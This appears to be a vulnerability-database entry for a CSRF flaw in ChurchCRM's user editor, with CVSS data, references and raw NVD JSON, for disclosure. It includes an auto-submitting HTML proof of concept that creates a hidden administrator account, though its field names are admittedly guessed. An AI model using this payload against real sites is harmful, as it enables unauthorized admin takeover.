CVE-2026-42289

Description

ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ChurchCRM < 7.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html>
<!-- CSRF PoC for ChurchCRM UserEditor.php -->
<body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://target-churchcrm/UserEditor.php" method="POST">
    <input type="hidden" name="UserName" value="hacker" />
    <input type="hidden" name="Password" value="P@ssw0rd!" />
    <!-- Assuming a field like perms or role exists -->
    <input type="hidden" name="SystemAdmin" value="true" />
    <input type="hidden" name="Action" value="Add" />
    <input type="submit" value="Submit request" />
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42289
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42289
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42289/
[4] VulDB https://vuldb.com/cve/CVE-2026-42289
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3xq9-c86x-cwpp
[6] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3xq9-c86x-cwpp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42289", "sourceIdentifier": "[email protected]", "published": "2026-05-12T23:16:17.730", "lastModified": "2026-05-14T13:16:18.157", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3xq9-c86x-cwpp", "source": "[email protected]"}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3xq9-c86x-cwpp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}